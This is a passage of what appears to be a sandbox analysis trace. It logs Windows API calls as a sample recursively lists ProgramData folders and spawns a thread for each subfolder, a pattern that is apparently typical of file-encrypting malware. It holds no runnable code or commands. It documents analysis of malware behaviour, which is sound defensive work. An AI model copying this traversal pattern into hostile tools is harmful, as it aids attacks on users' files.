cAlternateFileName="JAVAUP~1")) returned 1 [0055.988] wcscmp (_String1="Java Update", _String2=".") returned 1 [0055.988] wcscmp (_String1="Java Update", _String2="..") returned 1 [0055.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444c80 [0055.988] wcscpy (in: _Dest=0x444c80, _Source="C:\\ProgramData\\Sun\\Java" | out: _Dest="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0055.988] wcscat (in: _Dest=0x444c80, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\") returned="C:\\ProgramData\\Sun\\Java\\" [0055.988] wcscat (in: _Dest=0x444c80, _Source="Java Update" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update") returned="C:\\ProgramData\\Sun\\Java\\Java Update" [0066.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0066.007] FindNextFileW (in: hFindFile=0x440e60, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0066.007] FindClose (in: hFindFile=0x440e60 | out: hFindFile=0x440e60) returned 1 [0066.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8f38) returned 1 [0066.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440e20) returned 1 [0066.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9c0) returned 1 Thread: id = 985 os_tid = 0x1344 [0055.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x446258 [0055.989] wcscpy (in: _Dest=0x446258, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest" [0055.989] wcscat (in: _Dest=0x446258, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\" [0055.989] wcscat (in: _Dest=0x446258, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*" [0055.989] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8a68 [0055.989] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*", lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408e0 [0055.989] wcscmp (_String1=".", _String2=".") returned 0 [0055.989] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.989] wcscmp (_String1="..", _String2=".") returned 1 [0055.989] wcscmp (_String1="..", _String2="..") returned 0 [0055.989] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.989] FindClose (in: hFindFile=0x4408e0 | out: hFindFile=0x4408e0) returned 1 [0055.989] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8a68) returned 1 [0055.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446258) returned 1 [0055.990] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d4c0) returned 1 Thread: id = 986 os_tid = 0x1348 [0055.990] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d4c0 [0055.990] wcscpy (in: _Dest=0x48d4c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions" [0055.990] wcscat (in: _Dest=0x48d4c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\" [0055.991] wcscat (in: _Dest=0x48d4c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*" [0055.991] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8a68 [0055.991] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*", lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408e0 [0055.991] wcscmp (_String1=".", _String2=".") returned 0 [0055.991] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.991] wcscmp (_String1="..", _String2=".") returned 1 [0055.991] wcscmp (_String1="..", _String2="..") returned 0 [0055.991] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.991] FindClose (in: hFindFile=0x4408e0 | out: hFindFile=0x4408e0) returned 1 [0055.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8a68) returned 1 [0055.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d4c0) returned 1 [0055.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445fe8) returned 1 Thread: id = 987 os_tid = 0x134c [0055.998] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445fe8 [0055.998] wcscpy (in: _Dest=0x445fe8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload" [0055.998] wcscat (in: _Dest=0x445fe8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\" [0055.998] wcscat (in: _Dest=0x445fe8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*" [0055.998] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8a68 [0055.998] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*", lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408e0 [0055.998] wcscmp (_String1=".", _String2=".") returned 0 [0055.998] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.998] wcscmp (_String1="..", _String2=".") returned 1 [0055.998] wcscmp (_String1="..", _String2="..") returned 0 [0055.999] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.999] FindClose (in: hFindFile=0x4408e0 | out: hFindFile=0x4408e0) returned 1 [0055.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8a68) returned 1 [0055.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445fe8) returned 1 [0055.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44aa30) returned 1 Thread: id = 988 os_tid = 0x1350 [0056.003] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x445fe8 [0056.003] wcscpy (in: _Dest=0x445fe8, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0056.003] wcscat (in: _Dest=0x445fe8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\" [0056.003] wcscat (in: _Dest=0x445fe8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*" [0056.003] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8a68 [0056.003] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4404a0 [0060.733] wcscmp (_String1=".", _String2=".") returned 0 [0060.733] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.733] wcscmp (_String1="..", _String2=".") returned 1 [0060.733] wcscmp (_String1="..", _String2="..") returned 0 [0060.733] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0060.733] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2=".") returned 1 [0060.733] wcscmp (_String1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", _String2="..") returned 1 [0060.733] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443330 [0060.733] wcscpy (in: _Dest=0x443330, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0060.733] wcscat (in: _Dest=0x443330, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\" [0060.733] wcscat (in: _Dest=0x443330, _Source="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" [0067.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00 [0067.026] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0067.026] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2=".") returned 1 [0067.026] wcscmp (_String1="{8702d817-5aad-4674-9ef3-4d3decd87120}", _String2="..") returned 1 [0067.026] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x442f10 [0067.026] wcscpy (in: _Dest=0x442f10, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0067.026] wcscat (in: _Dest=0x442f10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\" [0067.026] wcscat (in: _Dest=0x442f10, _Source="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0067.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x442f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90 [0067.028] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0067.028] FindClose (in: hFindFile=0x4404a0 | out: hFindFile=0x4404a0) returned 1 [0067.028] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8a68) returned 1 [0067.028] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445fe8) returned 1 [0067.028] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445d78) returned 1 Thread: id = 989 os_tid = 0x1354 [0056.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x446258 [0056.004] wcscpy (in: _Dest=0x446258, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0056.004] wcscat (in: _Dest=0x446258, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\" [0056.004] wcscat (in: _Dest=0x446258, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*" [0056.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8cd0 [0056.004] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6260 [0060.805] wcscmp (_String1=".", _String2=".") returned 0 [0060.805] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.805] wcscmp (_String1="..", _String2=".") returned 1 [0060.805] wcscmp (_String1="..", _String2="..") returned 0 [0060.805] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0060.805] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2=".") returned 1 [0060.805] wcscmp (_String1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", _String2="..") returned 1 [0060.805] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x443750 [0060.805] wcscpy (in: _Dest=0x443750, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0060.805] wcscat (in: _Dest=0x443750, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\" [0060.805] wcscat (in: _Dest=0x443750, _Source="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0065.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x443750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0065.396] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0065.396] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2=".") returned 1 [0065.396] wcscmp (_String1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", _String2="..") returned 1 [0065.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x4438b0 [0065.396] wcscpy (in: _Dest=0x4438b0, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0065.396] wcscat (in: _Dest=0x4438b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\" [0065.396] wcscat (in: _Dest=0x4438b0, _Source="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0065.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4438b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a0 [0065.397] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0065.397] FindClose (in: hFindFile=0x4a6260 | out: hFindFile=0x4a6260) returned 1 [0065.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8cd0) returned 1 [0065.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446258) returned 1 [0065.397] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44aa90) returned 1 Thread: id = 990 os_tid = 0x1358 [0056.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d4c0 [0056.005] wcscpy (in: _Dest=0x48d4c0, _Source="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0056.005] wcscat (in: _Dest=0x48d4c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\" [0056.005] wcscat (in: _Dest=0x48d4c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*" [0056.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8800 [0056.005] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408e0 [0056.005] wcscmp (_String1=".", _String2=".") returned 0 [0056.005] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x4b8800 | out: 